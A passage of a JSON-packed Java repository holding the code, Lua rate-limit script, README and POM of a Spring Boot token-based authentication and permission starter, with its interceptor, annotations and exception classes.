redisSerializer = (RedisSerializer<Object>)redisTemplate.getKeySerializer();\n        return redisSerializer.serialize(key);\n    }\n    private byte[] rawValue(Object value, RedisSerializer valueSerializer) {\n        if (value instanceof byte[]) {\n            return (byte[]) value;\n        }\n\n        return valueSerializer.serialize(value);\n    }\n\n    private List deserializeValues(List<byte[]> rawValues, RedisSerializer<Object> valueSerializer) {\n        if (valueSerializer == null) {\n            return rawValues;\n        }\n        return SerializationUtils.deserialize(rawValues, valueSerializer);\n    }\n\n    private Object deserializeValue(byte[] value, RedisSerializer<Object> valueSerializer) {\n        if (valueSerializer == null) {\n            return value;\n        }\n        return valueSerializer.deserialize(value);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-redis-spring-boot-starter/src/main/resources/META-INF/spring.factories.bk",
    "content": "org.springframework.boot.autoconfigure.EnableAutoConfiguration=\\\nio.github.wujun728.common.redis.RedisAutoConfigure,\\\nio.github.wujun728.common.redis.lock.RedissonDistributedLock,\\\nio.github.wujun728.common.redis.template.RedisRepository"
  },
  {
    "path": "jun_springboot_starter/jun-redis-spring-boot-starter/src/main/resources/limit.lua",
    "content": "--lua 下标从 1 开始\n-- 限流 key\nlocal key = KEYS[1]\n-- 限流大小\nlocal limit = tonumber(ARGV[1])\n\n-- 获取当前流量大小\nlocal curentLimit = tonumber(redis.call('get', key) or \"0\")\n\nif curentLimit + 1 > limit then\n    -- 达到限流大小 返回\n    return 0;\nelse\n    -- 没有达到阈值 value + 1\n    redis.call(\"INCRBY\", key, 1)\n    redis.call(\"EXPIRE\", key, 2)\n    return curentLimit + 1\nend\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-security-spring-boot-starter/README.md",
    "content": "<h1 align=\"center\">jun-security-boot-starter</h1>\n\n\n \n\n## 1、简介\n\njun-security-boot-starter是一个基于SpringBoot开发的轻量级权限控制框架，支持登录认证、权限认证；同时支持token验证和cookie验证；\n支持redis、jdbc和单机session多种会话存储方式（亦可自行扩展存储方式）；前后端分离项目、不分离项目均可使用，功能完善、使用简单，文档清晰，让认证鉴权这件事变得更加简单！\n\n---\n\n## 2、使用\n\n### 2.1、SpringBoot集成\n\n#### 2.1.1、引入依赖\n```xml\n<dependency>\n    <groupId>io.github.wujun728</groupId>\n    <artifactId>jun-security-spirng-boot-starter</artifactId>\n    <version>1.0.8</version>\n</dependency>\n```\n\n#### 2.1.2、yml参数配置项\n\n```yaml\njun-security:\n  # 存储类型，目前支持jdbc和redis和单机内存三种(redis,jdbc,single)，如不配置，则默认为single\n  store-type: redis\n  # token名称 (同时也是cookie名称，适配前后端不分离的模式)\n  token-name: token\n  # token有效期 (即会话时长)，单位秒 默认1800秒(30分钟)\n  timeout: 1800\n  # token风格，可配置uuid (默认风格)，snowflake (纯数字风格)，objectid (变种uuid)，random128 (随机128位字符串)，nanoid\n  token-style: uuid\n  # 当配置为jdbc时，存储token的表名字，默认为b_auth_token\n  table-name: b_auth_token\n```\n\n1. 如果使用jdbcAuthStore，需要导入框架提供的sql脚本并集成好jdbcTemplate，\n   导入依赖 `spring-boot-starter-jdbc`，在yml里进行相应配置即可\n```xml\n<dependency>\n    <groupId>org.springframework.boot</groupId>\n    <artifactId>spring-boot-starter-jdbc</artifactId>\n</dependency>\n```\n2. 如果使用redisAuthStore，需要集成好redisTemplate，\n   导入依赖 `spring-boot-starter-data-redis` ，在yml里进行相应配置即可\n```xml\n<dependency>\n    <groupId>org.springframework.boot</groupId>\n    <artifactId>spring-boot-starter-data-redis</artifactId>\n</dependency>\n```\n\n#### 2.1.3、其他自定义配置\n1. 配置会话拦截器和权限角色拦截器，以`SpringBoot2.0`为例, 新建配置类`WebMvcConfig.java`，两个拦截器的拦截路由规则可自行配置\n```java\n@Configuration\npublic class WebMvcConfig implements WebMvcConfigurer {\n\n    @Autowired\n    private AuthenticeInterceptor authenticeInterceptor;\n\n    // 按需要来，如果不需要角色权限控制，可以不配置此拦截器\n    @Autowired\n    private PermissionInterceptor permissionInterceptor;\n\n    @Override\n    public void addInterceptors(InterceptorRegistry registry) {\n        \n        // 注册会话拦截器\n        registry.addInterceptor(authenticeInterceptor)\n                .addPathPatterns(\"/**\")\n                .excludePathPatterns(\"/login\");\n\n        // 注册权限拦截器\n        registry.addInterceptor(permissionInterceptor)\n                .addPathPatterns(\"/**\");\n    }\n}\n```\n2. 如需权限角色拦截器进行权限控制的话，则需要实现`PermissionInfoInterface`接口，重写权限和角色编码列表获取的业务逻辑（框架没有对权限和角色编码进行缓存，如需缓存请自行处理），例如以下代码：\n```java\n@Component\npublic class PermissionInfoInterfaceImpl implements PermissionInfoInterface {\n    private final static Logger logger = LoggerFactory.getLogger(PermissionInfoInterfaceImpl.class);\n\n\n    /**\n     * 返回一个账号所拥有的权限码集合\n     * @param loginId，账号id，即你在调用 authProvider.login(id) 时写入的标识值。\n     */\n    @Override\n    public Set<String> getPermissionSet(Object loginId) {\n        if (logger.isInfoEnabled()) {\n            logger.info(\"PermissionInfoInterfaceImpl -- getPermissionSet -- loginId = {}\", loginId);\n        }\n        // 自定义权限编码列表获取逻辑，下面的只是示例\n        Set<String> permissionSet = new HashSet<String>() {{\n            add(\"权限1\");\n            add(\"权限2\");\n        }};\n\n        return permissionSet;\n    }\n\n    /**\n     * 返回一个账号所拥有的角色标识集合 (权限与角色可分开校验)\n     * @param loginId，账号id，即你在调用 authProvider.login(id) 时写入的标识值。\n     */\n    @Override\n    public Set<String> getRoleSet(Object loginId) {\n        if (logger.isInfoEnabled()) {\n            logger.info(\"PermissionInfoInterfaceImpl -- getRoleSet -- loginId = {}\", loginId);\n        }\n        // 自定义角色编码列表获取逻辑，下面的只是示例\n        Set<String> roleSet = new HashSet<String>() {{\n            add(\"角色1\");\n            add(\"角色2\");\n        }};\n        return roleSet;\n    }\n}\n```\n\n---\n\n### 2.2、登录签发token，创建会话\n\n```java\n@Controller\npublic class IndexController {\n    final static Logger logger = LoggerFactory.getLogger(IndexController.class);\n    \n    @Autowired\n    private AuthProvider authProvider;\n\n    @ResponseBody\n    @PostMapping(\"/login\")\n    public Result<Object> login(@ApiParam(name = \"username\", required = true, value = \"用户名\")\n                                @RequestParam(\"username\") String username,\n                                @ApiParam(name = \"password\", required = true, value = \"用户密码\")\n                                @RequestParam(\"password\") String password) {\n        // 你的登录验证逻辑\n        // ......\n        // 签发token\n        String token = authProvider.login(username);\n\n        return Result.ok(\"登录成功！\", token);\n    }\n}\n```\nlogin方法参数说明：\n- loginId  登录的账号id，建议的数据类型：long | int | String，建议为用户id，不可以传入复杂类型，如：model.User、Admin 等等\n\n---\n\n\n### 2.3、退出登录，注销会话\n```java\n@Controller\npublic class IndexController {\n    final static Logger logger = LoggerFactory.getLogger(IndexController.class);\n   \n    @Autowired\n    private AuthProvider authProvider;\n\n    @ResponseBody\n    @GetMapping(\"/logout\")\n    public Result<Object> logout(HttpServletRequest request) {\n        // 退出登录，注销会话\n        authProvider.logout(request);\n\n        return Result.ok(\"退出登录成功！\");\n    }\n}\n```\n---\n\n### 2.4、使用注解控制权限\n\n**1.注解解释：**\n\n```text\n// 需要有system权限才能访问\n@RequiresPermissions(\"system\")\n\n// 需要有system和front权限才能访问, logical可以不写,默认是AND\n@RequiresPermissions(value={\"system\",\"front\"}, logical=Logical.AND)\n\n// 需要有system或front权限才能访问\n@RequiresPermissions(value={\"system\",\"front\"}, logical=Logical.OR)\n\n// 需要有user角色才能访问\n@RequiresRoles(value=\"user\")\n\n// 需要有admin和user角色才能访问\n@RequiresRoles(value={\"admin\",\"user\"}, logical=Logical.AND)\n\n// 需要有admin或user角色才能访问\n@RequiresRoles(value={\"admin\",\"user\"}, logical=Logical.OR)\n```\n\n> 注解加在Controller的方法或类上面。\n\n**2.代码示例：**\n\n```java\n@Controller\npublic class IndexController {\n    final static Logger logger = LoggerFactory.getLogger(IndexController.class);\n    \n    @Autowired\n    private AuthProvider authProvider;\n\n    @RequiresPermissions(\"权限3\")\n    @ResponseBody\n    @GetMapping(\"/testPermission3\")\n    public Result<Object> testPermission3() {\n\n        return Result.ok(\"testPermission3测试成功！\");\n    }\n\n    @RequiresPermissions(\"权限2\")\n    @ResponseBody\n    @GetMapping(\"/testPermission2\")\n    public Result<Object> testPermission2() {\n        logger.info(\"IndexController - testPermission3 - authProvider.getLoginId() = {}\", authProvider.getLoginId());\n        logger.info(\"IndexController - testPermission3 - AuthUtil.getLoginId() = {}\", AuthUtil.getLoginId());\n       logger.info(\"IndexController - testPermission3 - token = {}\", authProvider.getToken());\n        \n        return Result.ok(\"testPermission2测试成功！\", authProvider.getLoginId());\n    }\n}\n```\n\n---\n\n### 2.5、使用代码控制权限\n**1.代码示例：** \n\n```java\n\n// 判断：当前账号是否含有指定角色, 返回 true 或 false\nAuthUtil.hasRole(\"role1\");\n\n// 判断：当前账号是否含有指定角色 [指定多个，必须全部验证通过]\nAuthUtil.hasAllRole(\"role1\", \"role2\");\n\n// 判断：当前账号是否含有指定角色 [指定多个，只要其一验证通过即可]\nAuthUtil.hasAnyRole(\"role1\", \"role2\");\n\n// 判断：当前账号是否含有指定权限, 返回 true 或 false\nAuthUtil.hasPermission(\"permission1\");\n\n// 判断：当前账号是否含有指定权限 [指定多个，必须全部验证通过]\nAuthUtil.hasAllPermission(\"permission1\", \"permission2\");\n\n// 判断：当前账号是否含有指定权限 [指定多个，只要其一验证通过即可]\nAuthUtil.hasAnyPermission(\"permission1\", \"permission2\");\n\n```\n\n---\n\n### 2.6、获取当前登录用户编码\n```java\n// 注入authProvider\n@Autowired\nprivate AuthProvider authProvider;\n\nauthProvider.getLoginId()\n        \n或者直接调用静态方法\n        \nAuthUtil.getLoginId()\n```\n\n---\n\n### 2.7、获取当前登录用户token\n```java\n// 注入authProvider\n@Autowired\nprivate AuthProvider authProvider;\n\nauthProvider.getToken()\n或者\nauthProvider.getToken(HttpServletRequest request);\n```\n---\n\n### 2.8、异常处理\nbluewind-auth-client在会话验证失败和权限验证失败的时候会抛出自定义异常：\n\n| 自定义异常                  | 描述          | 错误信息                          |\n|:----------------------|:-------------|:----------------------------------|\n| UnAuthorizedException | 未登录或会话已失效 | 错误信息“未登录或会话已失效！”，错误码401 |\n| NoPermissionException | 无权限访问（角色或者资源不匹配）  | 错误信息“无权限访问！”，错误码403   |\n\n建议使用全局异常处理器来捕获异常并进行处理：\n```java\n@ControllerAdvice\npublic class GlobalExceptionHandler {\n    private static final Logger logger = LoggerFactory.getLogger(GlobalExceptionHandler.class);\n\n    // 捕捉运行时异常\n    @ResponseBody\n    @ExceptionHandler(RuntimeException.class)\n    public Result<Object> handleRuntimeException(Exception e) {\n        logger.error(\"GlobalExceptionHandler -- RuntimeException = {e}\", e);\n        return Result.create(HttpStatus.ERROR, e.getMessage());\n    }\n\n    // 缺少权限异常\n    @ResponseBody\n    @ExceptionHandler(value = NoPermissionException.class)\n    public Result<Object> handleAuthorizationException() {\n        return Result.create(HttpStatus.FORBIDDEN, \"接口无权限，请联系系统管理员\", null);\n    }\n    \n    // 未登陆异常\n    @ResponseBody\n    @ExceptionHandler(value = UnAuthorizedException.class)\n    public Result<Object> handleAuthenticationException() {\n        return Result.create(HttpStatus.UNAUTHORIZED, \"会话已失效，请重新登录\", null);\n    }\n}\n```\n\n---\n\n### 2.9、更多用法\n\n#### 2.9.1、使用注解忽略会话验证`@Ignore`\n在Controller的方法或类上面添加`@Ignore`注解可排除框架会话拦截，即表示调用接口不用传递token了。\n\n\n#### 2.9.2、主动让token失效\n```java\n// 注入authProvider\n@Autowired\nprivate AuthProvider authProvider;\n\n// 根据token，使token失效\nauthProvider.deleteToken(token);\n\n// 根据用户loginId，使该用户的全部token都失效\nauthProvider.deleteTokenByLoginId(loginId);\n```\n\n---\n\n### 2.10、前端传递token\n1. 放在参数里面用`token`传递：\n```javascript\n$.get(\"/xxx\", { \"token\": token }, function(data) {\n\n});\n```\n2. 放在header里面用`token`传递：\n```javascript\n$.ajax({\n   url: \"/xxx\", \n   beforeSend: function(xhr) {\n       xhr.setRequestHeader(\"token\", token);\n   },\n   success: function(data){ }\n});\n```\n3. 前后端不分离的项目会自动从cookie里获取`token`\n\n---\n\n### 2.11、自定义AuthProvider\n框架内置了JdbcAuthProvider、RedisAuthProvider和SingleAuthProvider三种会话实现，\n如果仍然无法满足你的需求，或者你想存在其他什么地方，比如存在磁盘、MongoDB中，只需以下三步即可：\n- 实现org.bluewind.authclient.provider.AuthProvider接口，或者继承org.bluewind.authclient.provider.AbstractAuthProvider抽象类， 实现里面的抽象方法，\n- 注入bean，如下\n```java\n   @Component\n   public class MongoAuthProvider extends AbstractAuthProvider {\n        // ...\n   }\n```\n- 删除store-type的配置"
  },
  {
    "path": "jun_springboot_starter/jun-security-spring-boot-starter/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>io.github.wujun728</groupId>\n    <artifactId>jun-security-spring-boot-starter</artifactId>\n    <version>1.0.8</version>\n    <packaging>jar</packaging>\n\n    <properties>\n        <maven.compiler.source>8</maven.compiler.source>\n        <maven.compiler.target>8</maven.compiler.target>\n        <java.version>1.8</java.version>\n\n        <springboot.version>2.3.12.RELEASE</springboot.version>\n        <servlet.version>3.1.0</servlet.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n            <version>${springboot.version}</version>\n            <scope>provided</scope>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-data-redis</artifactId>\n            <version>${springboot.version}</version>\n            <scope>provided</scope>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-jdbc</artifactId>\n            <version>${springboot.version}</version>\n            <scope>provided</scope>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-autoconfigure</artifactId>\n            <version>${springboot.version}</version>\n            <optional>true</optional>\n        </dependency>\n\n        <!-- servlet依赖 -->\n        <dependency>\n            <groupId>javax.servlet</groupId>\n            <artifactId>javax.servlet-api</artifactId>\n            <version>${servlet.version}</version>\n            <scope>provided</scope><!-- provided可以理解为此包不由我直接提供 需要调用者/容器提供 -->\n        </dependency>\n    </dependencies>\n\n    <build>\n        <finalName>${project.artifactId}-${project.version}</finalName>\n        <resources>\n            <resource>\n                <directory>src/main/java</directory>\n                <filtering>false</filtering>\n            </resource>\n            <resource>\n                <directory>src/main/resources</directory>\n                <filtering>false</filtering>\n            </resource>\n        </resources>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-surefire-plugin</artifactId>\n                <version>2.22.2</version>\n                <configuration>\n                    <skipTests>true</skipTests>\n                    <testFailureIgnore>true</testFailureIgnore>\n                    <argLine>-Dfile.encoding=UTF-8</argLine>\n                </configuration>\n            </plugin>\n            <!-- 源码构建插件 -->\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-source-plugin</artifactId>\n                <version>2.4</version>\n                <executions>\n                    <execution>\n                        <id>attach-sources</id>\n                        <goals>\n                            <goal>jar</goal>\n                        </goals>\n                    </execution>\n                </executions>\n            </plugin>\n        </plugins>\n    </build>\n\n</project>"
  },
  {
    "path": "jun_springboot_starter/jun-security-spring-boot-starter/src/main/java/com/jun/plugin/security/AuthAutoConfiguration.java",
    "content": "package com.jun.plugin.security;\n\nimport com.jun.plugin.security.interceptor.AuthenticeInterceptor;\nimport com.jun.plugin.security.interceptor.PermissionInterceptor;\nimport com.jun.plugin.security.interfaces.PermissionInfoInterface;\nimport com.jun.plugin.security.provider.AuthProvider;\nimport com.jun.plugin.security.provider.JdbcAuthProvider;\nimport com.jun.plugin.security.provider.RedisAuthProvider;\nimport com.jun.plugin.security.provider.SingleAuthProvider;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnBean;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;\nimport org.springframework.boot.context.properties.EnableConfigurationProperties;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.data.redis.core.StringRedisTemplate;\nimport org.springframework.jdbc.core.JdbcTemplate;\n\n/**\n * <p>\n *  自动配置类\n * </p>\n *\n * @since 2022-12-13 11:45\n **/\n@Configuration\n@EnableConfigurationProperties(AuthProperties.class)\npublic class AuthAutoConfiguration {\n    final static Logger logger = LoggerFactory.getLogger(AuthAutoConfiguration.class);\n\n    @Autowired\n    private AuthProperties authProperties;\n\n\n    /**\n     * 注入redisAuthProvider\n     */\n    @ConditionalOnMissingBean(AuthProvider.class)\n    @ConditionalOnProperty(name = \"jun-security.store-type\", havingValue = \"redis\")\n    @Bean\n    public AuthProvider redisAuthProvider(StringRedisTemplate stringRedisTemplate) {\n        if (stringRedisTemplate == null) {\n            logger.error(\"AuthAutoConfiguration: Bean StringRedisTemplate is null!\");\n            return null;\n        }\n        logger.info(\"RedisAuthProvider is running!\");\n        return new RedisAuthProvider(stringRedisTemplate, authProperties);\n    }\n\n    /**\n     * 注入jdbcAuthProvider\n     */\n    @ConditionalOnMissingBean(AuthProvider.class)\n    @ConditionalOnProperty(name = \"jun-security.store-type\", havingValue = \"jdbc\")\n    @Bean\n    public AuthProvider jdbcAuthProvider(JdbcTemplate jdbcTemplate) {\n        if (jdbcTemplate == null) {\n            logger.error(\"AuthAutoConfiguration: Bean JdbcTemplate is null!\");\n            return null;\n        }\n        logger.info(\"JdbcAuthProvider is running!\");\n        return new JdbcAuthProvider(jdbcTemplate, authProperties);\n    }\n\n    /**\n     * 注入singleAuthProvider\n     */\n    @ConditionalOnMissingBean(AuthProvider.class)\n    @ConditionalOnProperty(name = \"jun-security.store-type\", havingValue = \"single\", matchIfMissing = true)\n    @Bean\n    public AuthProvider singleAuthProvider() {\n        logger.info(\"SingleAuthProvider is running!\");\n        return new SingleAuthProvider(authProperties);\n    }\n\n\n    /**\n     * 添加会话拦截器( 注入AuthStore（可能是redis的，也可能是jdbc的，根据配置来的）)\n     */\n    @Bean\n    public AuthenticeInterceptor authenticeInterceptor(AuthProvider authProvider) {\n        if (authProvider != null) {\n            return new AuthenticeInterceptor(authProvider);\n        } else {\n            logger.error(\"AuthAutoConfiguration: Bean AuthProvider Not Defined!\");\n            return null;\n        }\n    }\n\n\n    /**\n     * 添加权限拦截器（当存在bean PermissionInfoInterface时，这个配置才生效）\n     * 注入PermissionInfoInterface\n     */\n    @Bean\n    @ConditionalOnBean(PermissionInfoInterface.class)\n    public PermissionInterceptor permissionInterceptor(PermissionInfoInterface permissionInfoInterface) {\n        if (permissionInfoInterface != null) {\n            return new PermissionInterceptor(permissionInfoInterface);\n        } else {\n            logger.error(\"AuthAutoConfiguration: Bean PermissionInfoInterface Not Defined!\");\n            return null;\n        }\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-security-spring-boot-starter/src/main/java/com/jun/plugin/security/AuthProperties.java",
    "content": "package com.jun.plugin.security;\n\nimport org.springframework.boot.context.properties.ConfigurationProperties;\n\n\n/**\n *  映射配置类--映射yml里面的配置\n * @since 2023-01-06-9:33\n **/\n@ConfigurationProperties(prefix = \"jun-security\")\npublic class AuthProperties {\n\n    private String storeType = \"redis\";\n\n    private String tokenName = \"token\";\n\n    private Integer timeout = 3600;\n\n    private String tokenStyle = \"uuid\";\n\n    private String tokenPrefix;\n\n    private String tableName = \"s_auth_token\";\n\n    public String getStoreType() {\n        return storeType;\n    }\n\n    public void setStoreType(String storeType) {\n        this.storeType = storeType;\n    }\n\n    public String getTokenName() {\n        return tokenName;\n    }\n\n    public void setTokenName(String tokenName) {\n        this.tokenName = tokenName;\n    }\n\n    public Integer getTimeout() {\n        return timeout;\n    }\n\n    public void setTimeout(Integer timeout) {\n        this.timeout = timeout;\n    }\n\n    public String getTokenStyle() {\n        return tokenStyle;\n    }\n\n    public void setTokenStyle(String tokenStyle) {\n        this.tokenStyle = tokenStyle;\n    }\n\n    public String getTokenPrefix() {\n        return tokenPrefix;\n    }\n\n    public void setTokenPrefix(String tokenPrefix) {\n        this.tokenPrefix = tokenPrefix;\n    }\n\n    public String getTableName() {\n        return tableName;\n    }\n\n    public void setTableName(String tableName) {\n        this.tableName = tableName;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-security-spring-boot-starter/src/main/java/com/jun/plugin/security/annotation/Ignore.java",
    "content": "package com.jun.plugin.security.annotation;\n\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\n\n/**\n * 忽略权限验证注解\n * @version 2023-01-06-9:33\n **/\n@Target({ElementType.TYPE, ElementType.METHOD})\n@Retention(RetentionPolicy.RUNTIME)\npublic @interface Ignore {\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-security-spring-boot-starter/src/main/java/com/jun/plugin/security/annotation/RequiresPermissions.java",
    "content": "package com.jun.plugin.security.annotation;\n\nimport com.jun.plugin.security.enums.Logical;\n\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\n/**\n * @date 2021-08-08-12:02\n * @description: 权限注解\n * @useintroduction 使用说明如下\n * 1、@RequiresPermissions(\"index:hello\") 拥有index:hello权限\n * 2、@RequiresPermissions({\"index:hello\",\"index:world\"}) 同时拥有index:hello和index:world权限\n * 3、@RequiresPermissions(value={\"index:hello\",\"index:world\"},logical=Logical.OR) 拥有index:hello或index:world其一即可\n **/\n@Target({ElementType.TYPE, ElementType.METHOD})\n@Retention(RetentionPolicy.RUNTIME)\npublic @interface RequiresPermissions {\n    String[] value();\n    Logical logical() default Logical.AND;\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-security-spring-boot-starter/src/main/java/com/jun/plugin/security/annotation/RequiresRoles.java",
    "content": "package com.jun.plugin.security.annotation;\n\nimport com.jun.plugin.security.enums.Logical;\n\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\n/**\n * @date 2021-08-08-12:02\n * @description: 角色注解\n * @useintroduction 使用说明如下\n * 1、@RequiresRoles(\"admin\") 拥有admin角色（特别说明：如果数组只传一个值的话，直接这样写就可以，无需再写大括号；多个值的话，使用大括号传值）\n * 2、@RequiresRoles({\"admin\",\"admin2\"}) 同时拥有admin和admin2角色\n * 3、@RequiresRoles(value={\"admin\",\"admin2\"},logical=Logical.OR) 拥有admin或admin2其一即可\n **/\n@Target({ElementType.TYPE, ElementType.METHOD})\n@Retention(RetentionPolicy.RUNTIME)\npublic @interface RequiresRoles {\n    String[] value();\n    Logical logical() default Logical.AND;\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-security-spring-boot-starter/src/main/java/com/jun/plugin/security/consts/AuthConsts.java",
    "content": "package com.jun.plugin.security.consts;\n\n\n/**\n * 系统常量类\n * @version 2023-01-06-9:33\n **/\npublic class AuthConsts {\n\n    /**\n     * 登录用户 令牌 Redis Key 前缀\n     */\n    public static final String AUTH_TOKEN_KEY = \"jun-security:auth:token:\";\n\n    // 无权限访问\n    public static int CODE_NO_PERMISSION = 403;\n\n    // 未登录或会话已失效\n    public static int CODE_UNAUTHORIZED = 401;\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-security-spring-boot-starter/src/main/java/com/jun/plugin/security/enums/Logical.java",
    "content": "package com.jun.plugin.security.enums;\n\n/**\n * 权限枚举\n * @version 2023-01-06-9:33\n **/\npublic enum Logical {\n    AND,\n    OR;\n    private Logical() {\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-security-spring-boot-starter/src/main/java/com/jun/plugin/security/exception/AuthException.java",
    "content": "package com.jun.plugin.security.exception;\n\n\npublic abstract class AuthException extends RuntimeException {\n    private static final long serialVersionUID = 2413958299445359500L;\n\n    private int code;\n\n    public void setCode(int code) {\n        this.code = code;\n    }\n\n    public int getCode() {\n        return code;\n    }\n\n    public AuthException(int code, String message) {\n        super(message);\n        this.code = code;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-security-spring-boot-starter/src/main/java/com/jun/plugin/security/exception/NoPermissionException.java",
    "content": "package com.jun.plugin.security.exception;\n\n\nimport com.jun.plugin.security.consts.AuthConsts;\n\n/**\n * 无权限访问-异常\n */\npublic class NoPermissionException extends AuthException {\n    private static final long serialVersionUID = 8109117719383003895L;\n\n    public NoPermissionException() {\n        super(AuthConsts.CODE_NO_PERMISSION, \"无权限访问！\");\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-security-spring-boot-starter/src/main/java/com/jun/plugin/security/exception/UnAuthorizedException.java",
    "content": "package com.jun.plugin.security.exception;\n\nimport com.jun.plugin.security.consts.AuthConsts;\n\n/**\n * 未登录或会话已失效-异常\n */\npublic class UnAuthorizedException extends AuthException {\n    private static final long serialVersionUID = 8109117719383003891L;\n\n    public UnAuthorizedException() {\n        super(AuthConsts.CODE_UNAUTHORIZED, \"未登录或会话已失效！\");\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-security-spring-boot-starter/src/main/java/com/jun/plugin/security/interceptor/AuthenticeInterceptor.java",
    "content": "package com.jun.plugin.security.interceptor;\n\nimport com.jun.plugin.security.exception.UnAuthorizedException;\nimport com.jun.plugin.security.interceptor.holder.AuthenticeHolder;\nimport com.jun.plugin.security.provider.AuthProvider;\nimport com.jun.plugin.security.util.AuthUtil;\nimport org.springframework.http.HttpMethod;\nimport org.springframework.web.method.HandlerMethod;\nimport org.springframework.web.servlet.ModelAndView;\nimport org.springframework.util.StringUtils;\nimport org.springframework.web.servlet.handler.HandlerInterceptorAdapter;\n\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport java.lang.reflect.Method;\n\n/**\n * 用户会话验证拦截器\n *\n * @version 2020-03-22-11:23\n **/\npublic class AuthenticeInterceptor extends HandlerInterceptorAdapter {\n\n    /**\n     * 存储会话的接口\n     */\n    private AuthProvider authProvider;\n\n    public AuthProvider getAuthProvider() {\n        return this.authProvider;\n    }\n\n    public void setAuthProvider(AuthProvider authProvider) {\n        this.authProvider = authProvider;\n    }\n\n\n    public AuthenticeInterceptor(AuthProvider authProvider) {\n        this.setAuthProvider(authProvider);\n    }\n\n\n    /*\n     * 进入controller层之前拦截请求\n     * 返回值：表示是否将当前的请求拦截下来  false：拦截请求，请求别终止。true：请求不被拦截，继续执行\n     * Object obj:表示被拦的请求的目标对象（controller中方法）\n     */\n    @Override\n    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {\n        if (!(handler instanceof HandlerMethod)) {\n            return super.preHandle(request, response, handler);\n        }\n\n        // 判断请求类型，如果是OPTIONS，直接返回\n        String options = HttpMethod.OPTIONS.toString();\n        if (options.equals(request.getMethod())) {\n            response.setStatus(HttpServletResponse.SC_OK);\n            return super.preHandle(request, response, handler);\n        }\n\n        // 检查是否忽略会话验证\n        Method method = ((HandlerMethod) handler).getMethod();\n        if (AuthUtil.checkIgnore(method)) {\n            return super.preHandle(request, response, handler);\n        }\n\n        // 第一步、先从请求的request里获取传来的token值，并且判断token值是否为空\n        String token = this.getAuthProvider().getToken(request);\n        if (StringUtils.isEmpty(token)) {\n            // 直接抛出异常的话，就不需要return false了\n            throw new UnAuthorizedException();\n        }\n\n        // 第二步、再判断此token值在会话存储器中是否存在，存在的话说明会话有效，并刷新会话时长\n        if (!this.getAuthProvider().checkToken(token)) {\n            throw new UnAuthorizedException();\n        } else {\n            this.getAuthProvider().refreshToken(token);\n            // 存入LoginId，以方便后续使用\n            AuthenticeHolder.setLoginId(this.getAuthProvider().getLoginId(token));\n            // 合格不需要拦截，放行\n            return super.preHandle(request, response, handler);\n        }\n    }\n\n\n    /*\n     * 处理请求完成后视图渲染之前的处理操作\n     * 通过ModelAndView参数改变显示的视图，或发往视图的方法\n     */\n    @Override\n    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) {\n    }\n\n    /*\n     * 视图渲染之后的操作\n     */\n    @Override\n    public void afterCompletion(HttpServletRequest arg0, HttpServletResponse arg1, Object arg2, Exception arg3) throws Exception {\n        AuthenticeHolder.clearLoginId();\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-security-spring-boot-starter/src/main/java/com/jun/plugin/security/interceptor/PermissionInterceptor.java",
